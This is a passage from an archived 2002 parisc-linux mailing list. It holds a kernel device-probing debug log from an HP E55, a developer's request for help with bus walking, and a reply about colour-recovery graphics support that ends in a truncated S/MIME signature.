---- walk_native_bus:    testing hpa=0xfff32000, i=50
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff33000, i=51
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff34000, i=52
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff35000, i=53
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff36000, i=54
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff37000, i=55
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff38000, i=56
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff39000, i=57
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff3a000, i=58
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff3b000, i=59
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff3c000, i=60
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff3d000, i=61
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff3e000, i=62
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfff3f000, i=63
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfffb9000, i=57
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfffba000, i=58
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfffbb000, i=59
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfffbc000, i=60
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfffbd000, i=61
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
------ alloc_pa_dev:  -- pdc_iodc_read() error -4!
---- walk_native_bus:    ** error in alloc_pa_dev()
---- walk_native_bus:    testing hpa=0xfffbe000, i=62
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
-------------------------- find_parisc_device: entry, mod=62
-------------------------- find_parisc_device:   bc[0]=-1
-------------------------- find_parisc_device:   bc[1]=-1
-------------------------- find_parisc_device:   bc[2]=-1
-------------------------- find_parisc_device:   bc[3]=-1
-------------------------- find_parisc_device:   bc[4]=-1
-------------------------- find_parisc_device:   bc[5]=-1
-- walk_lower_bus: entry
-- walk_lower_bus:   return without processing
---- walk_native_bus:    testing hpa=0xfffbf000, i=63
---- walk_native_bus:    -- device not processed, mod = i !
------ alloc_pa_dev: entry
-------------------------- find_parisc_device: entry, mod=63
-------------------------- find_parisc_device:   bc[0]=-1
-------------------------- find_parisc_device:   bc[1]=-1
-------------------------- find_parisc_device:   bc[2]=-1
-------------------------- find_parisc_device:   bc[3]=-1
-------------------------- find_parisc_device:   bc[4]=-1
-------------------------- find_parisc_device:   bc[5]=-1
-- walk_lower_bus: entry
-- walk_lower_bus:   return without processing
Found devices:
1. Java BC GSC+ Port (7) at 0xfffb8000 [56], versions 0x503, 0x0, 0xc
2. WB-96 Core BA (11) at 0xf0100000 [60], versions 0x11, 0x1, 0x81, 
additional addresses: 0xf010c000 
3. WB-96 Core LAN (802.3) (10) at 0xf0107000 [60/6], versions 0x11, 0x1,
0x8a
4. WB-96 (E45) (0) at 0xfffbe000 [62], versions 0x483, 0x1, 0x4
5. Memory (1) at 0xfffbf000 [63], versions 0x25, 0x0, 0x9
------------------- register_parisc_driver: entry
------------------- register_parisc_driver: name="CPU"
------------------- register_parisc_driver: running dev loop:
------------------- register_parisc_driver:     checking dev "Java BC
GSC+ Port" (56)
------------------- register_parisc_driver:     checking dev "WB-96 Core
BA" (60)
------------------- register_parisc_driver:     checking dev "WB-96 Core
LAN (802.3)" (6)
------------------- register_parisc_driver:     checking dev "WB-96
(E45)" (62)
------------------- register_parisc_driver:     running probe of device
"WB-96 (E45)"
------------------- claim_device: driver="CPU", device="WB-96 (E45)"
------------------- claim_device: dev info: hw_path=62, irq=0,
hpa=0xfffbe000, num_addrs=0
------------------- register_parisc_driver:     checking dev "Memory"
(63)
CPU(s): 1 x PA7100LC (PCX-L) at 96.000000 MHz
------------------- register_parisc_driver: entry
------------------- register_parisc_driver: name="SBA"
------------------- register_parisc_driver: running dev loop:
------------------- register_parisc_driver:     checking dev "Java BC
GSC+ Port" (56)
------------------- register_parisc_driver:     checking dev "WB-96 Core
BA" (60)
------------------- register_parisc_driver:     checking dev "WB-96 Core
LAN (802.3)" (6)
------------------- register_parisc_driver:     checking dev "WB-96
(E45)" (62)
------------------- register_parisc_driver:     checking dev "Memory"
(63)
------------------- register_parisc_driver: entry
------------------- register_parisc_driver: name="lba"
------------------- register_parisc_driver: running dev loop:
------------------- register_parisc_driver:     checking dev "Java BC
GSC+ Port" (56)
------------------- register_parisc_driver:     checking dev "WB-96 Core
BA" (60)
------------------- register_parisc_driver:     checking dev "WB-96 Core
LAN (802.3)" (6)
------------------- register_parisc_driver:     checking dev "WB-96
(E45)" (62)
------------------- register_parisc_driver:     checking dev "Memory"
(63)
------------------- register_parisc_driver: entry
------------------- register_parisc_driver: name="U2/Uturn"
------------------- register_parisc_driver: running dev loop:
------------------- register_parisc_driver:     checking dev "Java BC
GSC+ Port" (56)
------------------- register_parisc_driver:     checking dev "WB-96 Core
BA" (60)
------------------- register_parisc_driver:     checking dev "WB-96 Core
LAN (802.3)" (6)
------------------- register_parisc_driver:     checking dev "WB-96
(E45)" (62)
------------------- register_parisc_driver:     checking dev "Memory"
(63)
------------------- register_parisc_driver: entry
------------------- register_parisc_driver: name="Lasi"
------------------- register_parisc_driver: running dev loop:
------------------- register_parisc_driver:     checking dev "Java BC
GSC+ Port" (56)
------------------- register_parisc_driver:     checking dev "WB-96 Core
BA" (60)
------------------- register_parisc_driver:     running probe of device
"WB-96 Core BA"
Lasi version 0 at 0xf0100000 found.
LED display at f010c000 registered
------------------- claim_device: driver="Lasi", device="WB-96 Core BA"
------------------- claim_device: dev info: hw_path=60, irq=0,
hpa=0xf0100000, num_addrs=1
------------------- register_parisc_driver:     checking dev "WB-96 Core
LAN (802.3)" (6)
------------------- register_parisc_driver:     checking dev "WB-96
(E45)" (62)
------------------- register_parisc_driver:     checking dev "Memory"
(63)
------------------- register_parisc_driver: entry
------------------- register_parisc_driver: name="Asp"
------------------- register_parisc_driver: running dev loop:
------------------- register_parisc_driver:     checking dev "Java BC
GSC+ Port" (56)
------------------- register_parisc_driver:     checking dev "WB-96 Core
BA" (60)
------------------- register_parisc_driver:     checking dev "WB-96 Core
LAN (802.3)" (6)
------------------- register_parisc_driver:     checking dev "WB-96
(E45)" (62)
------------------- register_parisc_driver:     checking dev "Memory"
(63)
------------------- register_parisc_driver: entry
------------------- register_parisc_driver: name="Wax"
------------------- register_parisc_driver: running dev loop:
------------------- register_parisc_driver:     checking dev "Java BC
GSC+ Port" (56)
------------------- register_parisc_driver:     checking dev "WB-96 Core
BA" (60)
------------------- register_parisc_driver:     checking dev "WB-96 Core
LAN (802.3)" (6)
------------------- register_parisc_driver:     checking dev "WB-96
(E45)" (62)
------------------- register_parisc_driver:     checking dev "Memory"
(63)
------------------- register_parisc_driver: entry
------------------- register_parisc_driver: name="EISA Bus Adapter"
------------------- register_parisc_driver: running dev loop:
------------------- register_parisc_driver:     checking dev "Java BC
GSC+ Port" (56)
------------------- register_parisc_driver:     checking dev "WB-96 Core
BA" (60)
------------------- register_parisc_driver:     checking dev "WB-96 Core
LAN (802.3)" (6)
------------------- register_parisc_driver:     checking dev "WB-96
(E45)" (62)
------------------- register_parisc_driver:     checking dev "Memory"
(63)
------------------- register_parisc_driver: entry
------------------- register_parisc_driver: name="Dino"
------------------- register_parisc_driver: running dev loop:
------------------- register_parisc_driver:     checking dev "Java BC
GSC+ Port" (56)
------------------- register_parisc_driver:     checking dev "WB-96 Core
BA" (60)
------------------- register_parisc_driver:     checking dev "WB-96 Core
LAN (802.3)" (6)
------------------- register_parisc_driver:     checking dev "WB-96
(E45)" (62)
------------------- register_parisc_driver:     checking dev "Memory"
(63)
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Soft power switch support not available.
Starting kswapd
------------------- register_parisc_driver: entry
------------------- register_parisc_driver: name="Parallel"
------------------- register_parisc_driver: running dev loop:
------------------- register_parisc_driver:     checking dev "Java BC
GSC+ Port" (56)
------------------- register_parisc_driver:     checking dev "WB-96 Core
BA" (60)
------------------- register_parisc_driver:     checking dev "WB-96 Core
LAN (802.3)" (6)
------------------- register_parisc_driver:     checking dev "WB-96
(E45)" (62)
------------------- register_parisc_driver:     checking dev "Memory"
(63)
STI GSC/PCI graphics driver version 0.9
------------------- register_parisc_driver: entry
------------------- register_parisc_driver: name="sti (native)"
------------------- register_parisc_driver: running dev loop:
------------------- register_parisc_driver:     checking dev "Java BC
GSC+ Port" (56)
------------------- register_parisc_driver:     checking dev "WB-96 Core
BA" (60)
------------------- register_parisc_driver:     checking dev "WB-96 Core
LAN (802.3)" (6)
------------------- register_parisc_driver:     checking dev "WB-96
(E45)" (62)
------------------- register_parisc_driver:     checking dev "Memory"
(63)
pty: 256 Unix98 ptys configured
PDC Software Console version 0.3 (2001-11-17), christoph.plattner@gmx.at
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ
SERIAL_PCI enabled
------------------- register_parisc_driver: entry
------------------- register_parisc_driver: name="Serial RS232"
------------------- register_parisc_driver: running dev loop:
------------------- register_parisc_driver:     checking dev "Java BC
GSC+ Port" (56)
------------------- register_parisc_driver:     checking dev "WB-96 Core
BA" (60)
------------------- register_parisc_driver:     checking dev "WB-96 Core
LAN (802.3)" (6)
------------------- register_parisc_driver:     checking dev "WB-96
(E45)" (62)
------------------- register_parisc_driver:     checking dev "Memory"
(63)
------------------- register_parisc_driver: entry
------------------- register_parisc_driver: name="Serial RS232"
------------------- register_parisc_driver: running dev loop:
------------------- register_parisc_driver:     checking dev "Java BC
GSC+ Port" (56)
------------------- register_parisc_driver:     checking dev "WB-96 Core
BA" (60)
------------------- register_parisc_driver:     checking dev "WB-96 Core
LAN (802.3)" (6)
------------------- register_parisc_driver:     checking dev "WB-96
(E45)" (62)
------------------- register_parisc_driver:     checking dev "Memory"
(63)
------------------- register_parisc_driver: entry
------------------- register_parisc_driver: name="Lasi psaux"
------------------- register_parisc_driver: running dev loop:
------------------- register_parisc_driver:     checking dev "Java BC
GSC+ Port" (56)
------------------- register_parisc_driver:     checking dev "WB-96 Core
BA" (60)
------------------- register_parisc_driver:     checking dev "WB-96 Core
LAN (802.3)" (6)
------------------- register_parisc_driver:     checking dev "WB-96
(E45)" (62)
------------------- register_parisc_driver:     checking dev "Memory"
(63)
lp: driver loaded but no devices found
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
block: 128 slots per queue, batch=32
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
loop: loaded (max 8 devices)
------------------- register_parisc_driver: entry
------------------- register_parisc_driver: name="Apricot"
------------------- register_parisc_driver: running dev loop:
------------------- register_parisc_driver:     checking dev "Java BC
GSC+ Port" (56)
------------------- register_parisc_driver:     checking dev "WB-96 Core
BA" (60)
------------------- register_parisc_driver:     checking dev "WB-96 Core
LAN (802.3)" (6)
------------------- register_parisc_driver:     running probe of device
"WB-96 Core LAN (802.3)"
Found i82596 at 0xf0107000, IRQ 87
eth0: 82596 at 0xf0107000, 08 00 09 96 D4 F6 IRQ 87.
82596.c $Revision: 1.29 $
------------------- claim_device: driver="Apricot", device="WB-96 Core
LAN (802.3)"
------------------- claim_device: dev info: hw_path=6, irq=87,
hpa=0xf0107000, num_addrs=0
------------------- register_parisc_driver:     checking dev "WB-96
(E45)" (62)
------------------- register_parisc_driver:     checking dev "Memory"
(63)
SCSI subsystem driver Revision: 1.00
------------------- register_parisc_driver: entry
------------------- register_parisc_driver: name="GSC SCSI (Zalon)"
------------------- register_parisc_driver: running dev loop:
------------------- register_parisc_driver:     checking dev "Java BC
GSC+ Port" (56)
------------------- register_parisc_driver:     checking dev "WB-96 Core
BA" (60)
------------------- register_parisc_driver:     checking dev "WB-96 Core
LAN (802.3)" (6)
------------------- register_parisc_driver:     checking dev "WB-96
(E45)" (62)
------------------- register_parisc_driver:     checking dev "Memory"
(63)
------------------- register_parisc_driver: entry
------------------- register_parisc_driver: name="Lasi SCSI"
------------------- register_parisc_driver: running dev loop:
------------------- register_parisc_driver:     checking dev "Java BC
GSC+ Port" (56)
------------------- register_parisc_driver:     checking dev "WB-96 Core
BA" (60)
------------------- register_parisc_driver:     checking dev "WB-96 Core
LAN (802.3)" (6)
------------------- register_parisc_driver:     checking dev "WB-96
(E45)" (62)
------------------- register_parisc_driver:     checking dev "Memory"
(63)
------------------- register_parisc_driver: entry
------------------- register_parisc_driver: name="Lasi Harmony"
------------------- register_parisc_driver: running dev loop:
------------------- register_parisc_driver:     checking dev "Java BC
GSC+ Port" (56)
------------------- register_parisc_driver:     checking dev "WB-96 Core
BA" (60)
------------------- register_parisc_driver:     checking dev "WB-96 Core
LAN (802.3)" (6)
------------------- register_parisc_driver:     checking dev "WB-96
(E45)" (62)
------------------- register_parisc_driver:     checking dev "Memory"
(63)
STI GSC/PCI graphics driver version 0.9
------------------- register_parisc_driver: entry
------------------- register_parisc_driver: name="sti (native)"
BUG: Skipping previously registered driver: sti (native)
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP, IGMP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 4096 bind 8192)
eth0: link ok.
Sending BOOTP requests . OK
IP-Config: Got BOOTP answer from 196.1.1.50, my address is 196.1.1.100
IP-Config: Complete:
      device=eth0, addr=196.1.1.100, mask=255.255.255.0, gw=196.1.1.50,
     host=196.1.1.100, domain=pladom.at, nis-domain=pladom.at,
     bootserver=196.1.1.50, rootserver=196.1.1.50,
rootpath=/export/rootfs/rudolph/debian
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
Looking up port of RPC 100003/2 on 196.1.1.50
Looking up port of RPC 100005/1 on 196.1.1.50
VFS: Mounted root (nfs filesystem).
Freeing unused kernel memory: 365k freed
INIT: version 2.84 booting
Activating swap.
System time was Wed Jun 26 21:33:41 UTC 2002.
Setting the System Clock using the Hardware Clock as reference...
System Clock set. System local time is now Wed Jun 26 21:34:02 UTC 2002.
Checking all file systems...
fsck 1.27 (8-Mar-2002)
Setting kernel variables.
Mounting local filesystems...
nothing was mounted
Cleaning: /etc/network/ifstate.
Setting up IP spoofing protection: rp_filter.
Configuring network interfaces: SIOCADDRT: File exists
done.
Starting portmap daemon: portmap.
Starting portmapper... Mounting remote filesystems...

Setting the System Clock using the Hardware Clock as reference...
System Clock set. Local time: Wed Jun 26 23:34:14 CEST 2002

Cleaning: /tmp /var/lock /var/run.
Initializing random number generator... done.
Recovering nvi editor sessions... done.
INIT: Entering runlevel: 2
Starting system log daemon: syslogd.
Starting kernel log daemon: klogd.
Starting NIS services: ypbind 
Starting internet superserver: xinetd.
Starting NTP server: ntpd.
Starting deferred execution scheduler: atd.
Starting periodic command scheduler: cron.

Debian GNU/Linux 3.0 rudolph ttyB0

rudolph login: 


-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at
--------------3AC8D7198F72B65AB646159B
Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Return-Path: <parisc-linux-admin@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to christoph.plattner@gmx.at
Received: (qmail 4878 invoked by uid 0); 26 Jun 2002 21:52:29 -0000
Received: from dsl2.external.hp.com (192.25.206.7)
  by mx0.gmx.net (mx008-rz3) with SMTP; 26 Jun 2002 21:52:29 -0000
Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 17DC4482E; Wed, 26 Jun 2002 15:52:06 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Received: from viefep15-int.chello.at (viefep15-int.chello.at [213.46.255.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id F38C5482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Jun 2002 15:51:57 -0600 (MDT)
Received: from gmx.at ([62.178.92.247]) by viefep15-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020626215155.OJVW1259.viefep15-int.chello.at@gmx.at>
          for <parisc-linux@lists.parisc-linux.org>;
          Wed, 26 Jun 2002 23:51:55 +0200
Message-ID: <3D1A377A.E0CFABBD@gmx.at>
From: Christoph Plattner <christoph.plattner@gmx.at>
Organization: private
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Subject: [parisc-linux] Problem find devices on the E55 I/O interfaces
Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Date: Wed, 26 Jun 2002 23:51:54 +0200
X-Mozilla-Status2: 00000000

Hello PARISC hackers !

I have problems in the device probing on the E55, and I need some
hints here. I am at the very starting point of the SCSI driver
development, and other (Rayn) will also need this for MUX (serial),
etc....

The E55 is a machine of the type "SYSTEM MAP TYPE".
I instrumented the code to read out the values and elements at the
inventory probing. I will append the log of my "debug helps", they
are quite self explaining.

The `walk_central_bus()' calls seems to do correct work. It finds the 
basic elements on my E55:

	On the "56" the bus converter
	On "62" and "63" components on the system (main) board
	- "62" is the CPU, "63" the Memory

	The search was started at the "60".

My problem now. The `walk_lower_bus()' under the device "56" cannot
find any further devices. Seen on PDC or HP-UX, under "56/52" the
SCSI controller is present, further the parallel interface and the 
serial MUX also should be found.

Do we use the wrong search address here, taken from io_io_low of
the `struct bc_module'. Do we access it in a wrong way ?
Is THIS structure documented in any of the PARISC documents, other-
wise, where does this structure come from ?

I hope you have some hints here ...

Best regards
Christoph P.

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


--------------3AC8D7198F72B65AB646159B--





From - Thu Nov 08 21:23:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "B. Douglas Hilton" <bdhilton@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 24bit colour
Date: Wed, 26 Jun 2002 15:54:39 -0400
Lines: 100
Approved: news@gmane.org
Message-ID: <3D1A1BFF.7080000@charter.net>
References: <5.1.0.14.0.20020610084610.026cfc70@10.106.16.2> <20020610203815.8349B380D5@carmen.fc.hp.com> <1024391159.3d0ef7f7c3903@webmail.tiscalinet.be> <20020618121104.E9435@parcelfarce.linux.theplanet.co.uk> <1025099026.3d19c51207773@webmail.tiscalinet.be> <20020626144536.B28662@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms060107090002030708000604"
X-Trace: ger.gmane.org 1416621439 9390 80.91.229.3 (22 Nov 2014 01:57:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:19 +0000 (UTC)
Cc: joel.soete@freebel.net, Matt Taggart <taggart@carmen.fc.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 26 16:41:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx09.cluster1.charter.net (dc-mx09.cluster1.charter.net [209.225.8.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6413A482F
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Jun 2002 16:41:04 -0600 (MDT)
Original-Received: from [24.159.161.68] (HELO charter.net)
  by mx09.cluster1.charter.net (CommuniGate Pro SMTP 3.5.9)
  with ESMTP id 32210066; Wed, 26 Jun 2002 18:41:02 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020529
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15234

This is a cryptographically signed message in MIME format.

--------------ms060107090002030708000604
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

The "Color Recovery" code supposedly dithers the colors in some
special way down to 8bpp and then the hardware somehow restores
them, right?



Matthew Wilcox wrote:
> On Wed, Jun 26, 2002 at 03:43:46PM +0200, joel.soete@freebel.net wrote:
> 
>>Quoting Matthew Wilcox <willy@debian.org>:
>>
>>>it's probably less work to teach XFree86 how to talk to your gfx card
>>>than it is to get the HPUX X server to run on Linux.
>>
>>I would prefer also but is there any documentation about this interface?
> 
> 
> i meant that it's probably less work to reverse-engineer the interface
> and implement it in XFree86 than it is to get the HPUX X server working.
> 



--------------ms060107090002030708000604
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIJUDCC
AwYwggJvoAMCAQICAwe+nzANBgkqhkiG9w0BAQQFADCBkjELMAkGA1UEBhMCWkExFTATBgNV
BAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUx
HTAbBgNVBAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVl
bWFpbCBSU0EgMjAwMC44LjMwMB4XDTAyMDYyMTE2MjAyNFoXDTAzMDYyMTE2MjAyNFowRjEf
MB0GA1UEAxMWVGhhd3RlIEZyZWVtYWlsIE1lbWJlcjEjMCEGCSqGSIb3DQEJARYUYmRoaWx0
b25AY2hhcnRlci5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDOXnJuUCK8
cQL8lPdtre4RJrbTvLcJqZtNCb90rfkBsWybbcAJGWDJsYjsC/5ezfqkA92GeHHWtOzRk9JC
5I7WbvjlRyXdD8pYGn+OIqzO7//JaWTi5osnIu4A/ohLwafM8A2JqDemeIpWN7A22kUzYyxW
4/zP0rsuj5AEVvWkM9yTzKGChMKIemDR1SjFMPVcNIVkRbUqmGXRj6sTA5/f+0/iDVmg2aJ/
plkOMPJwJKRVnSitu32miuzJE0HEGgEcfJ3KVUhkiLTiRvH6ze227L8EvuSX+JL+GOrgU1ez
eyoJgkf/edOi4XgYvr2yizZk0r/KqTVzoOcqpXSNggRHAgMBAAGjMTAvMB8GA1UdEQQYMBaB
FGJkaGlsdG9uQGNoYXJ0ZXIubmV0MAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQEEBQADgYEA
q53hxPSUMk2rIVxPKU32fqJHubVDGqL15H70VOIP19PNun0tgkQIr5lQZoIm0v5McX/0jsUn
QocRX8O6zHmzhNJTHoOlcblE2pGkjk/utcs8XHizEGllawbsVohV87w2dOuIxVgSYqIH48jA
Kjpu8sMXF6a6QiHVUyFoReVi5mIwggMGMIICb6ADAgECAgMHvp8wDQYJKoZIhvcNAQEEBQAw
gZIxCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUg
VG93bjEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEo
MCYGA1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDIwMDAuOC4zMDAeFw0wMjA2MjExNjIw
MjRaFw0wMzA2MjExNjIwMjRaMEYxHzAdBgNVBAMTFlRoYXd0ZSBGcmVlbWFpbCBNZW1iZXIx
IzAhBgkqhkiG9w0BCQEWFGJkaGlsdG9uQGNoYXJ0ZXIubmV0MIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAzl5yblAivHEC/JT3ba3uESa207y3CambTQm/dK35AbFsm23ACRlg
ybGI7Av+Xs36pAPdhnhx1rTs0ZPSQuSO1m745Ucl3Q/KWBp/jiKszu//yWlk4uaLJyLuAP6I
S8GnzPANiag3pniKVjewNtpFM2MsVuP8z9K7Lo+QBFb1pDPck8yhgoTCiHpg0dUoxTD1XDSF
ZEW1Kphl0Y+rEwOf3/tP4g1ZoNmif6ZZDjDycCSkVZ0orbt9porsyRNBxBoBHHydylVIZIi0
4kbx+s3ttuy/BL7kl/iS/hjq4FNXs3sqCYJH/3nTouF4GL69sos2ZNK/yqk1c6DnKqV0jYIE
RwIDAQABozEwLzAfBgNVHREEGDAWgRRiZGhpbHRvbkBjaGFydGVyLm5ldDAMBgNVHRMBAf8E
AjAAMA0GCSqGSIb3DQEBBAUAA4GBAKud4cT0lDJNqyFcTylN9n6iR7m1Qxqi9eR+9FTiD9fT
